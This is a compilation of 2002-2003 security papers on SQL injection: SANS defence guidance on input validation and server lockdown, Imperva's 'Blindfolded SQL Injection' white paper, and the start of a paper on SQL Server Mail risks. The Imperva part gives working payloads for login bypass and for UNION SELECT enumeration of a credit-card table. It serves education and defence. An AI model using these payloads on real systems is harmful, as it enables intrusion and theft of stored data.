temporary tables an attacker has created and a very curious attack which will
cause the SQL Server to speak, are particularly enlightening. (Anley. p.14-17.
2002.)
This section has only lightly touched on what can be done with stored
procedures on a MS-SQL 2000 system. With hundreds of built in procedures
many a rainy day could be spent experimenting with what could be done on a
susceptible system.
Other tools
Stored procedures, extended stored procedures and SQL injection aside, one
of the deterrents to the use of SQL injection has been that for an attacker,
finding a susceptible site can be tedious and very time consuming.
Not any more.
The first automated tool (to my knowledge) that checks for SQL injection
vulnerabilities, Wpoison has appeared out of Sourceforge and can be found at
http://wpoison.sourceforge.net/
The tool runs on FreeBSD and Linux systems and to quote form their readme:
” Wpoison is a tool primary designed for pen-testers and/or system
administrators. The objective of this tool is to find any potential SQL-Injection
vulnerabilities in dynamic web documents which deals with databases: php,
asp, etc.."(Wpoison)
The tool works by automatically crawling a site testing all form fields and
hyperlinks and runs a series of injection tests on them. wPoison then analyses
the error message, and where it is in a format expected from a successful
SQL injection, the address is flagged for further investigation.
Admittedly a handy tool for developers who want to test their code, but an
equally handy tool for an attacker.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
22
Part Three – Protection: How many walls to build around your
site
“Sanitize!! Sanitize!! Sanitize!!
Don’t rely for protection on user-editable scripting
Assume all end-user input is hostile
Sanitize!! Sanitize!! Sanitize!!”
(sensepost)
Protecting your site against SQL injection is like most security related topics –
no one solution solves everything. Instead it is a series of small walls that will
together form a formidable – but perhaps not impenetrable – wall that will at
least deter novices or those attackers just ‘passing by’ looking for dangling
apples.
The following small walls are required at a minimum – some a skilful attacker
will be able to climb over or around, but hopefully they will not bypass all.
a) Use original and difficult to guess table and column names
b) Use aliases
c) Set length limits on any form fields on your site and don’t use real
column names
d) Validate all your data on the server side at a minimum for content,
length and format
e) If you are using a product where the source code is available – for
example a message board – keep up-to-date on patches and
advisories about vulnerabilities.
f) In relation to (e) try to make your schema unique – if it allows you to
generate the table names, be sure to differentiate your site from the
default setting
g) Where possible use stored procedures
h) Audit your code
i) Lockdown your server
Here each of these is examined in more detail.
a) Use original and difficult to guess table and column names
The fact that everyone else calls their user table ‘users’ is a great reason why
you shouldn’t. If it’s a personal site, make it as eccentric as you possibly can,
but even for a large set-up dare to be different:
Table: user_Details
Columns: u_uID,u_user_Name,u_user_Password etc
b) Use aliases
Consider the following:
SELECT s.sID,s.title,s.blu rb,s.story,a.aName,a.aNationality,a.aAge FROM story s,
author a WHERE sID=3 AND a.aID=s.aID
Compare it to:
© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
23
SELECT story.sID, story.title, story.blurb, story.story, author.aName,
author.aNationality, author.aAge FROM story s, author a WHERE sID=3 AND
author.aID= story.aID
If an attacker breaks this statement and gets the tail end of it (ie after the
WHERE) to appear in an error message, which one is giving more information
to the attacker? When you use aliases, use the shortened version – a not
author, s not story – make the attacker work for every scrap of information.
c) Set length limits on any form fields on your site and don’t use real
column names
If you have a login screen, generally there are two windows – one for the
username and one for the password. Limit these to a realistic number.
<input type="text" name="member_name" size="12" maxlength=”60”>
<input type="text" name="member_pa ssword" size="12" maxlength=”60”>
Don’t use the real column names as the field names as this just makes life
easier for an attacker. In the code snippet above, they correspond to the
u_user_Name and u_user_Password columns in the user_Details table.
d) Validate all your data on the server side at a minimum for content,
length and format
The validation should always be done on the server side. Checking data on
the client side with Javascript is, in my opinion, a complete waste of time. All
the attacker need do is download your page as an html file, remove the
Javascript and execute it from their machine.
Learn your regular expressions. Consider Litchfield's words "All of this would
'go away' if the ASP coder properly sanitised user input before letting it
anywhere near an SQL query."(Litchfield. p.5. 2001). Work on the basis of
denying all and then decide what you will allow. Going into the details of these
scripts is beyond the scope of this paper – there are many great regular
expression tutorials on the web.
Don’t write one validation script and use it throughout the site – different data
will require different validation. For example the validation process for a
username will be different to that of a story ID number.
Follow at a minimum a process something like the following on all your data:
a) Remove apostrophes
Remove apostrophes, or if that is not acceptable (in the case of names
like O’Donnell for example) then double them out as follows using a
replace function:
function quotehandle(data)
quotehandle=replace(data,"'","''")
end function
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
24
b) Remove semi colons and double dashes
function sqldash(data)
sqldash=replace(data,"--","")
end function
function sqlcolon(data)
sqlcolon=replace(data,";","")
end function
c) Check the type of the data
If you are expecting an integer, check it is an integer. If it is not an
integer, reject it.
d) Set the data type
Reinforce the previous step by explicitly setting the type. For example:
storyID=CInt(request("storyID"))
authorname=CStr(request("authorname"))
e) Validate the data
Make sure the data is valid (using your regular expressions)
f) Check the length
Check the length of the data. If it is too long, truncate it. For example
unless you are expecting to host over 10,000 poems on your site, your
poemID doesn’t need to be longer than 4 characters. For text, it will
depend on the circumstances. The function below is a simple example
of how to do this.
data=left(data,4)
or for longer data
data=left(data,125)
If you follow the above steps at a minimum, you're on the way towards
protecting your site from SQL injection.
e) If you are using a product where the source code is available – for
example a message board – keep up-to-date on patches and advisories
about vulnerabilities
If you are using a shareware message board, an attacker can download the
source code just as you did and pull it apart looking for weaknesses. See the
Rain Forest Puppy paper that details exactly how the source code was used
in an attack against Packetstorm (Rain Forest Puppy). Get on the mailing list
for whatever the package is and keep up-to-date with patches and other
updates. Before you install it, do a search on Google along the lines of "xyz
message board exploits".
f) In relation to (e) try to make your schema unique. If it allows you to
generate the table names, be sure to differentiate your site from the
default setting

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
25
If possible, differentiate your product from the default model. Some allow you
to pick your own table names. Peruse the code yourself to make sure there
are not any obvious holes.
h) Where possible use stored procedures
Stored procedures are a great way to reduce the possibilities of an SQL
injection attack. They’re only as good, however, as those who write them! Be
sure to use parameters at all times. They may be a pain to write, but to quote
Anley: “Essentially, if a parameterised query is run, and the user-supplied
parameters are passed safely to the query, then SQL injection is typically
impossible” (Anley. p.17. 2002.).
However, even if you are using stored procedures, you must still validate your
data beforehand.
i) Audit your code
No one writes perfect code. Have members of the team peruse each other’s
code and maintain a set of procedures so all code is being put together in the
same manner.
j) Lockdown your server
There are many good papers available on how to lock down an MS-SQL
Server. Some are listed in the references section.
At least consider the following methods:
i) User of least privileges
"Make sure the application is running with only enough rights to do its
job" (Robertson. 2001.) This is the most important action to take in
securing your system. Create a low level account with the minimum
privileges required for use by the application. Do not use the sa
account. Just doing this will protect your site against much of what has
been discussed.
ii) Remove unnecessary accounts
If there are accounts that are not being used on the server, remove
them.
iii) Remove/disable unneeded stored procedures and extended
stored procedures.
If there are stored procedures and extended stored procedures you do
not need, remove them. For example, the xp_cmdshell extended
stored procedure is one of the more dangerous, but is rarely needed.
iv) Remove other unneeded information
Remove the example databases (if any) and make sure other features
that you don't need are disabled or removed.
v) Patch patch patch
As with all products, make sure your patches are up-to-date.
Once you have these walls erected, you then need to monitor your server to
make sure they are still standing, such as by carrying out the following:
© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
26
a) Log analysis
b) File analysis
c) Backing up your data regularly
a) Log analysis
Set up your log analysis tool to scan the URLs for the kind of statements
we’ve been creating – SELECT, UNION and so on should get a big red flag.
Make sure your logs are recording the entire querystring.
b) File analysis
Keep an eye out for unusual files appearing. When using sp_makewebtask an
attacker may try to disguise their filename as things like index_test.html or
default_old.html. Keep an eye out for unexpected files and don’t keep test
pages on a production system.
c) Back up your data regularly
You should be doing this anyway!
Amichai Shulman
Writte
                          Blindfolded SQL Injection

Overview
In the past few years, SQL Injection attacks have been on the rise. The increase in
the number of Database based applications, together with various publications that
explain the problem and how it can be exploited (in both electronic and printed
formats), have led to many attacks and abuse of this type of attack.
Following the increase in attacks taking advantage of SQL Injection, many attempts
have been made to find solutions to the problem. The obvious solution, of course, is,
and always will be, to build the programs in a secure manner. Many documents have
been published regarding secure development of Web applications with emphasis on
Database access, yet not much has changed. Web developers are still, usually, not
security aware, and the problems continue to appear.
As a result, security experts keep looking for other measures that can be taken
against this problem. Unfortunately, the common solution to this problem took form in
suppressing the detailed error messages. Since most documents describing SQL
Injection rely on gathering information through the error messages (some even claim
that specific tasks cannot be completed without detailed error messages), security
experts developed a notion that SQL Injection cannot really be exploited without
detailed error messages (or the source code itself).
Hiding the error messages, however, is just another implementation of the "Security
by Obscurity" approach, which has been repeatedly proven through history as a
flawed approach. The purpose of this document is to refute the notion that SQL
Injection can only be exploited with detailed error messages, and to present simple
techniques used by attackers when no detailed error messages are present. These
techniques all come under the name ’Blindfolded SQL Injection’. The name reflects
the feeling that one may get when trying to do SQL Injection without detailed error
messages. It also reflects that with the right skill, even SQL Injection becomes so
simple that it can be done blindfolded.
To understand how this is achieved, we first show how SQL Injection can be easily
identified, based on minimal reaction of the server. Then, we go over ways to craft a
valid syntax request, which can be replaced later on with any valid SQL request.
Eventually, we discuss how UNION SELECT statements (often considered the
highlight of SQL Injection attacks) can be exploited with no detailed error messages.
Being blindfolded, the techniques in this document assume that we have zero
knowledge of the application, type of database, structure of the tables, etc, and that
these need to be detected throughout the injection process.
Page 4 of 16 © 2003 All Rights Reserved Imperva Inc.
By this, we hope to make it clear that application level vulnerabilities must be handled
by application level solutions, and that relying on suppressed error messages for
protection from SQL Injection is eventually useless.
Two additional important notes: First, this document is not an SQL Injection guide,
nor an SQL Tutorial. This document does not go into the details of specific SQL
Injection attacks and exploitation, and assumes that the reader has basic
understanding of what SQL Injection attacks are, and wants to understand how these
can be hazardous against an application that does not provide detailed error
messages. The second note regards the examples provided throughout this white
paper. Although the provided examples refer to MS SQL Server and Oracle only, the
same techniques can be applied to other Databases as well.
Page 5 of 16 © 2003 All Rights Reserved Imperva Inc.
Identifying Injections
To make an SQL Injection work, the first step, obviously, is to identify it. To do that,
the attacker must first establish some sort of indication regarding errors in the
system. Although the error messages themselves are not being displayed, the
application should still have some capability of separating right (a valid request) from
wrong (an invalid request), and the attacker easily learns to identify these indications,
find the errors and identify whether they are SQL related or not.
Recognizing Errors
First, we must understand the types of errors that an attacker can face. A Web
application can generate errors of two major types. The first type of error is that
generated by the Web server, as a result of some exception in the code. If
untouched, these exceptions yield the all too familiar ‘500: Internal Server Error’.
Normally, injection of bad SQL syntax (unclosed quotes, for instance), should cause
the application to return this type of error, although other errors may lead to such an
exception. A simple error suppression process will replace the default texts of this
error with a custom-made HTML page, but observing the response line itself will
reveal the fact that it is still a server error. In other cases, more effort is taken to
suppress the errors, and the erroneous response may simply be a redirect to the
main/previous page, or a generic error message which does not provide any
information.
The second type of error is generated by the application code, and usually indicates
better programming. The application expects certain invalid cases, and can generate
a specific customized error for them. Although normally these types of errors should
come as part of a valid (200 OK) response, they may also be replaced with redirects
or other means of concealing, much like the ‘Internal Server Error’.
A simple example will differentiate between the two: Let’s take two similar
eCommerce applications, named A and B. Both applications are using a page called
proddetails.asp. This page expects to receive a parameter called ProdID. It takes the
received ProdID, and retrieves the product details from the Database, then performs
some manipulations over the returned record. Both applications only call
proddetails.asp through a link, therefore ProdID should always be valid. Application A
is satisfied with this, and does no additional checks. When an attacker tampers with
ProdID, inserting an id that has no row in the table, an empty recordset will be
returned. Since application A does not expect an empty recordset, when it tries to
manipulate the data in the record, an exception is likely to occur, generating a ‘500:
Internal Server Error’. Application B, however, verifies that the recordset size is larger
than 0 before any manipulation of it. If it is not, an error appears claiming ‘No such
Page 6 of 16 © 2003 All Rights Reserved Imperva Inc.
product’, or, if the programmer wants to hide the error, the user is simply presented
back with the product list.
An attacker attempting to perform Blindfolded SQL Injection would therefore try, at
first, to generate a few invalid requests, and learn how the application handles errors,
and what could be expected of it when an SQL error occurs.
Locating Errors
With that knowledge of the application at hand, the attacker can now proceed to the
second part of the attack, which is locating errors that are a result of manipulated
input. For that, normal SQL Injection testing techniques are applied, such as adding
SQL keywords (OR, AND, etc.), and META characters (such as ; or '). Each
parameter is individually tested, and the response is closely examined to determine
whether an error occurred. Using an intercepting proxy or any other tool of choice, it
is easy to identify redirects and other supposedly hidden errors. Each parameter that
returns an error is suspicious, as it may be vulnerable to SQL Injection.
As always, all parameters are tested individually, with the rest of the request being
valid. This is extremely important in this case, as this process must neutralize any
possible cause of error other than the injection itself. The result of this process is
usually a long list of suspicious parameters. Some of these parameters may indeed
be vulnerable to SQL Injection and may be exploited. The others had errors that are
unrelated to SQL, and can be discarded. The next step for the attacker is therefore
identifying the pick of the litter, which, in our case are those that are indeed
vulnerable to SQL Injection.
Identifying SQL Injection Vulnerable Parameters
To better understand how this is done, it is important to understand the basic types of
data in SQL. SQL fields can normally be classified as one of three main types:
Number, String or Date. Each main type has many different flavors, but these are
irrelevant for the injection process. Each parameter transferred from the web
application to the SQL query is considered as one of these types, and it is usually
very simple to determine the type ('abc' is obviously a string, whereas 4 is likely to be
an number, although it must be considered as a string as well).
In the SQL language, numeric parameters are passed to the server as is, whereas
strings or dates are passed with quotes around them. For example:
SELECT * FROM Products WHERE ProdID = 4
vs.
SELECT * FROM Products WHERE ProdName = 'Book'
Page 7 of 16 © 2003 All Rights Reserved Imperva Inc.
The SQL server, however, does not care what type of an expression it receives, as
long as it is indeed of the relevant type. This behavior gives the attacker the best way
of identifying whether an error is indeed an SQL one or unrelated. With numeric
values, the easiest way to handle this is by using basic arithmetic operations. For
instance, let's look at the following request:
/myecommercesite/proddetails.asp?ProdID=4
Testing this for SQL Injection is very simple. One attempt is done by injecting 4' as
the parameter. The other is done using 3 + 1 as the parameter. Assuming this
parameter is indeed passed to an SQL request, the result of the two tests will be the
following two SQL queries:
(1) SELECT * FROM Products WHERE ProdID = 4'
(2) SELECT * FROM Products WHERE ProdID = 3 + 1
The first one will definitely generate an error, as this is bad SQL syntax. The second,
however, will execute smoothly, returning the same product as the original request
(with 4 as the ProdID), indicating that this parameter is indeed vulnerable to SQL
Injection.
A similar technique can be used for replacing the parameter with an SQL syntax
string expression. There are only two differences. First, string parameters are held
inside quotes, so breaking out of the quotes is necessary. Secondly, different SQL
servers use different syntax for string concatenation. For instance, Microsoft SQL
Server uses the + sign to concatenate string, whereas Oracle uses || for the same
task. Other than that, the same technique is used. For instance:
/myecommercesite/proddetails.asp?ProdName=Book
Testing this for SQL Injection involves replacing the ProdName parameter, once with
an invalid string such as B', the other with one that will generate a valid string
expression, such as B' + 'ook (or B' || 'ook with Oracle). This results with the
following queries:
(1) SELECT * FROM Products WHERE ProdName = 'Book''
(2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook'
Again, the first query is likely to generate an SQL error, while the second is expected
to return the same product as the original request, with Book as its value.
Similarly, any other expression can be used to replace the original parameters.
Specific system functions can be used to return either a number, a string or a date
(for instance, in Oracle, sysdate returns a date expression, whereas in SQL Server
getdate() does the same task). Other techniques can also be used to determine
whether SQL Injection occurs.
As can be seen, identifying whether SQL Injection occurs is a very simple task even
without detailed error messages, allowing the attacker to easily continue with the
attack.
Page 8 of 16 © 2003 All Rights Reserved Imperva Inc.
Performing the Injection
Once the injection has been identified by the attacker, the next step will be trying to
exploit it. For that, the attacker must be able to generate valid syntax, identify the
specific Database Server, and build the required exploit.
Getting the Syntax Right
This is usually the trickiest part in the Blindfolded SQL Injection process. If the
original queries are simple, this is simple as well. However, if the original query was
complex, breaking out of it may require a lot of trial and error. In any case, only a few
basic techniques are required to perform these tests.
The basic syntax identification process goes for standard SELECT … WHERE
statements, with the injected parameter being part of the WHERE clause. In order to
get a valid syntax, the attacker must be able to append data to the original WHERE
statement so that it will return different data than it should. In simple applications,
simply adding OR 1=1 can often do the trick. In many cases, however, this will not be
sufficient for a successful exploit. Often, parenthesis must be closed, so they match
the originally opened ones. Another problem that may occur is that a tampered query
will cause the application to generate an error, which cannot be distinguished from an
SQL error (for instance, if only one record is expected, and OR 1=1 caused the
Database to return 1000 records, the application may generate an error).
Since each WHERE clause is basically a set of expressions evaluating as True or
False, joined together with OR, AND and parenthesis, learning the right syntax that
breaks out of parenthesis and properly terminates the query is done by attempting
different combinations. For instance, adding 'AND 1=2' turns the entire phrase to a
false one, whereas adding 'OR 1=2' has zero influence, except for operator
precedence.
With some injections, simply altering the WHERE clause may suffice. With others,
such as UNION SELECT Injection, or stored procedures injections, it is not enough
to change the WHERE clause. The entire SQL statement must be properly
terminated, so that additional syntax can be appended. For that, a very simple
technique can be used. After the attacker establishes a valid combination of AND,
OR, 1=2, and 1=1 expressions, the SQL comment sign can be used.
Page 9 of 16 © 2003 All Rights Reserved Imperva Inc.
This sign, represented by two consecutive dashes (--), instructs the SQL server to
ignore the rest of input in the line. For instance, let us look at a simple login page,
taking both the Username and Password into the query, such as this one:
SELECT Username, UserID, Password FROM Users
WHERE Username = ‘user’ AND Password = ‘pass’
By sending johndoe' -- as the user, the following WHERE clause is generated:
WHERE Username = ‘johndoe’ --'AND Password = ‘pass’
In this case, not only the syntax was right, but the authentication was bypassed.
However, let us look at a slightly different WHERE statement:
WHERE (Username = ‘user’ AND Password = ‘pass’)
Notice the parenthesis around the statement. With the same injection (jonhdoe' --
), the query will now fail:
WHERE (Username = ‘johndoe' --' AND Password = ‘pass’)
The query has unmatched parenthesis, and can therefore not be executed.
This example, therefore, demonstrates how the comment sign can be used to identify
whether the query has been properly terminated. If the comment sign was added and
no error occurred, it means that it terminated properly right before the comment.
Otherwise, additional trial and error is required.
Identifying the Database
The next step the attacker needs to take, just before starting to exploit the SQL
Injection, is to identify the specific database used. Luckily (for the attacker, at least),
this is a much easier task than finding the valid syntax.
Several simple tricks allow the attacker to identify the Database type, all based on
differences which exist between specific implementations of Database engines. The
following examples focus on differentiating between Oracle and Microsoft SQL
Server. Similar techniques, however, are easy to use to identify other Database
engines.
Page 10 of 16 © 2003 All Rights Reserved Imperva Inc.
A very simple trick, which was mentioned earlier, is the string concatenation
difference. Assuming the syntax is known, and the attacker is able to add additional
expressions to the WHERE clause, a simple string comparison can be done using
this concatenation, for instance:
AND 'xxx' = 'x' + 'xx'
By replacing the + with ||, Oracle can be easily differentiated from MS SQL Server,
or other Databases.
Another technique uses the semicolon character. In SQL, a semicolon is used to
chain several SQL statements in the same line. While with SQL Injection this can be
used inside the injection code, the Oracle drivers do not allow use of semicolons in
this manner. Assuming the comment is properly working (meaning, it generates no
error), adding a semicolon before it has no influence on an MS SQL Server, yet
generates an error with Oracle. Additionally, verifying whether additional commands
can be executed after the semicolon can be done by adding the COMMIT statement
(for instance, injecting xxx' ; COMMIT --). Assuming statements can be injected
there, this should not generate an error.
Eventually, some expressions can be replaced with system functions which return
the right value. Since each database uses slightly different functions, it is easy to
identify the database type this way (much like the above-mentioned date functions,
getdate() with MS SQL Server vs. sysdate with Oracle).
Exploiting the Injection
With all the relevant information at hand, the attacker can now proceed to perform
the injection itself. While building the exploit code, the attacker no longer needs
information from the error messages, and can build the exploits based on all the
known SQL Injection techniques.
This paper does not discuss normal SQL Injection exploitation techniques, as they
have already been discussed in detail in other papers. The only exploitation
technique further discussed in this document is injection of UNION SELECT
statements, which is described in the next section.
Page 11 of 16 © 2003 All Rights Reserved Imperva Inc.
UNION SELECT Injections
Although tampering with SELECT … WHERE statements can be very rewarding in
many applications, attackers often want to be able to perform a UNION SELECT
injection. Unlike WHERE clauses manipulation, successfully performing a UNION
SELECT injection gives the attacker access to all tables in the system, which may
not be otherwise accessible.
Since performing a UNION SELECT statement requires knowledge of the number of
fields in the query as well as the type of each field, it is often considered that it cannot
be performed without detailed error messages, especially when the number of fields
in the original query is large. The following section is going to refute this notion, by
showing a set of very simple techniques that easily solve this problem.
Before proceeding, it is obvious that the attacker must have the correct syntax. The
previous sections, however, have already established that this is possible, and
demonstrated how this is done. The only important note regarding the syntax is that
with UNION SELECT the syntax identification must be to the level that clears out all
parenthesis of the request, and allows free injection of the UNION or other
commands. (As explained before, this can be verified by appending the comment
sign to the injection).
Once the syntax is right, a UNION SELECT statement can be appended to the
original query. The UNION SELECT statement must have the same number of
columns, and the same types of columns as the original statement, or an error is
generated.
Counting the Columns
Counting the Columns can appear to be nearly impossible with the normal
techniques of ‘UNION SELECT’ SQL Injection. The way this is done, with detailed
error messages, is by simply creating a UNION SELECT injection, and trying it with a
different number of fields (one more in each attempt). When the error indicating a
‘column number mismatch’ is replaced with a ‘column type mismatch’, the right
number of columns has been reached, and the next step can be taken. When
working blindfolded, however, we have absolutely no indication regarding the type of
the error, and therefore this method is completely futile.
Page 12 of 16 © 2003 All Rights Reserved Imperva Inc.
A different technique must therefore be used to identify the number of the columns,
and this technique comes in the form of the ORDER BY clause. Adding an ORDER
BY clause to the end of the SELECT statement changes the order of the results in
the record-set. This is normally done by specifying the name of a sort column (or the
names of several sort columns).
Looking at an example of a financial query, a valid injection into the Credit Card
number parameter would be 11223344) ORDER BY CCNum --, resulting in the
following query:
SELECT CCNum FROM CreditCards
WHERE (AccNum=11223344) ORDER BY CCNum --
AND CardState=’Active’) AND UserName=’johndoe’
What is usually overlooked, however, is the fact that the ORDER BY clause can have
a numeric form. In this case the expression refers to a column number rather than its
name. This means that injecting 11223344) ORDER BY 1 -- will also be legitimate,
and would do exactly the same, since CCNum is the first field in the result of the
query. Injecting 11223344) ORDER BY 2 --, however, will generate an error as this
query has only one field, meaning the result cannot be sorted by its second field.
Therefore, when coming to count the number of fields, ORDER BY can be very
useful. First, the attacker adds an ORDER BY 1 clause to the basic syntax he
identified. Since every SELECT query must have at least one field, this should work.
If an error is received on that, the syntax should be tampered with some more, until it
no longer appears. (Although unlikely, it may also be that the sorting causes an error
in the application. In this case, adding ASC or DESC may solve the problem). Once a
valid syntax containing the ORDER BY works with no errors, the attacker changes
the ordering from column 1 to column 100 (or 1000 or anything that is certain to be
invalid). At this point, an error should be generated, indicating that the enumeration is
working.
The attacker now has a method of identifying which column numbers exist and which
do not, and can easily identify the exact number of columns. The attacker simply
needs to increase this number, one at a time, until an error is received (since some
columns may be of a type that does not allow sorting, it is always advisable to test
one or two additional numbers, and make sure that indeed errors are received). With
this technique the number of fields is easily enumerated, and no error messages are
required.
Page 13 of 16 © 2003 All Rights Reserved Imperva Inc.
Identifying Columns Types
So, with the valid syntax already known, the Database vendor determined, and the
number of fields enumerated, all that is left for the attacker is to identify the types of
all the fields.
Getting the field types right can be tricky though. They must all match the original
query. If it’s just a few fields, this can easily be achieved by brute force, but if there
are more, then a problem arises. As already mentioned, there are 3 possible main
types (number, string, date), so having 10 fields means there are 310 (nearly 60,000)
combinations. At 20 requests per second, this will take almost an hour. Having more
fields than that makes the entire process nearly impossible.
An easier technique must therefore be used when working in the dark. This comes in
the form of the NULL keyword in SQL. Unlike injection of static fields, which are of a
specific type (such as a string or an integer), NULL can match any type. It is
therefore possible to inject a UNION SELECT statement where all fields are null, and
there should be no type mismatch errors. Let us look at a query similar to the
previous example:
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards
WHERE (AccNum=11223344 AND CardState=’Active’)
AND UserName=’johndoe’
The only change is that the single CCNum field was replaced with several, so there
are more fields. Assuming the attacker successfully counted the number of columns
of the result of this query (4 in our example), it is now simple to inject a UNION
statement with all NULLs, and having a FROM clause that does not generate
permission errors (again, trying to isolate each problem, so the specific permissions
issues will be handled later on). With MS SQL, the FROM clause can be simply
omitted. This is valid syntax. With Oracle, using a table named dual can be useful.
Adding a WHERE statement that always evaluates as false (such as WHERE 1=2)
guarantees that no record-set containing only null values will be returned, eliminating
further possible errors (some applications may not properly handle NULL values).
Let's now look at the MS SQL Server example, although the same applies to Oracle.
Injecting 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --,
results in the following query:
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards
WHERE (AccNum=11223344) UNION SELECT NULL,NULL,NULL,NULL
WHERE 1=2 --AND CardState=’Active’) AND UserName=’johndoe’
Page 14 of 16 © 2003 All Rights Reserved Imperva Inc.
This type of NULL injection serves two purposes. The main purpose is to get a
working UNION statement that has no errors. Although this UNION still does not
retrieve any real data, it provides an indication that the statement indeed works.
Another purpose of this empty UNION is to get a 100% identification of the Database
used (using a vendor-specific table name in the FROM clause).
Once the NULL-based UNION statement works, it is a trivial process to identify the
types of each column. In each iteration a single field is tested for its type. All three
types (number, integer, string) are tested for the field, one of them should work. This
way, it takes up to three times the number of columns rather than three to the power
of column numbers. Assuming that CCNum is an integer, and that all other fields are
strings, the following flow of UNION will identify the valid types:
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
Error! – Second column is not an integer.
• 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.
• 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer.
• 11223344) UNION SELECT 1,’2’,’3’,NULL WHERE 1=2 –-
No Error – Third column is a string.
• 11223344) UNION SELECT 1,’2’,’3’,4 WHERE 1=2 –-
Error! – Fourth column is not an integer.
• 11223344) UNION SELECT 1,’2’,’3’,’4’ WHERE 1=2 –-
No Error – Fourth column is a string.
The attacker has now established a real, valid, UNION statement. Using the
increasing numbers it is possible, of course, to identify which field is presented
where. All that is left now is to actually exploit this for the purposes of the attack. For
that, the injection can be used to retrieve data from the system tables (such as the
list of tables and their columns), followed by retrieving actual application data. This
document does not, however, go into these details, as they are thoroughly described
in several existing SQL Injection white papers.Tel: (650) 345-9000 | Fax: (650) 345-9004




   SQL Server Email - vulnerability issues and prevention strategies
GIAC Security Essentials Certification (GSEC)
Practical Assignment – Version 1.4b Option 1
Frank Ress
SQL Server Email – vulnerability issues and prevention strategies
Contents
I. Abstract.
II. SQL Mail – How it works.
III. The vulnerability.
IV. Standard Setup.
V. Protective Measures.
VI. Intrusion Detection.
VII. Conclusion.

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
I. Abstract.
One of the optional features available to users of the Microsoft SQL Server®
database is the ability to send and receive Email messages programmatically
from the database. Email is often an ideal way to send administrative alerts to
system staff and/or end users when unusual conditions are detected, to distribute
various kinds of routine reports, etc. Many modern databases share this ability to
send Email, and SQL Server Email capabilities have been available at least as
early as version 6.0. The SQL Server implementation is somewhat unique
among relational databases, however, in its ability to accept and process
incoming as well as outgoing messages. This aspect of the Email feature in SQL
Server – the ability to send a message to the database and have it automatically
execute a query and reply to the sender – presents a potential vulnerability that
could easily be overlooked.
This paper will explore some of the ways this feature could be used by both
legitimate users and intruders. Installation and configuration of the utility will be
briefly described in enough detail to support the ensuing discussion of the
vulnerability. Finally, a number of strategies will be suggested that could be used
to minimize the vulnerabilities exposed by use of this feature.
II. SQL Mail – How it works.
SQL Mail, as the SQL Server Email utility is commonly referred to, is capable of
accepting an incoming message that contains a ‘query’ in the message body. It
will execute the query and return the results to the sender.
There are any number of legitimate uses for such a capability.
♦ A database administrator could query the database remotely, to check on
the availability of various resources, the status of scheduled processes, or
to check for errors or alerts.
♦ Employees could inquire on the status of their benefits.
♦ Sales staff could check current prices and inventory levels.
♦ Customers could check the status of their orders.
Almost any query that could be satisfied with a standard database report or form
could be delivered in an Email message. Furthermore, the flexibility of such an
approach is excellent. Changing the information delivered is as simple as
changing the query submitted. The only limitation in the basic implementation of
this feature for SQL Server is that the requesting message must contain a single
SQL statement. Of course, even this limitation could be removed through
relatively simple custom programming.

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
The three central objectives of information security are confidentiality, integrity,
and accessibility. From an accessibility perspective, the ability to simply send an
Email message to the database and receive the response in a reply provides a
very convenient delivery system. Email is available to nearly every computer
user, and for most users Email is the application with which they’re most skilled.
Given the Email address used by the database and the ability to construct valid
SQL, virtually anyone could use SQL Mail to interrogate a database. Even users
unfamiliar with SQL could be supplied with standard queries. Furthermore, the
specific Email client used is irrelevant, since gateways exist between all major
Email systems and the Internet. SQL Mail queries could be submitted from any
type of client system, anywhere on the Internet, without any additional software
installation. Aside from Email applications, only web browsers approach this
degree of ubiquity and interoperability.
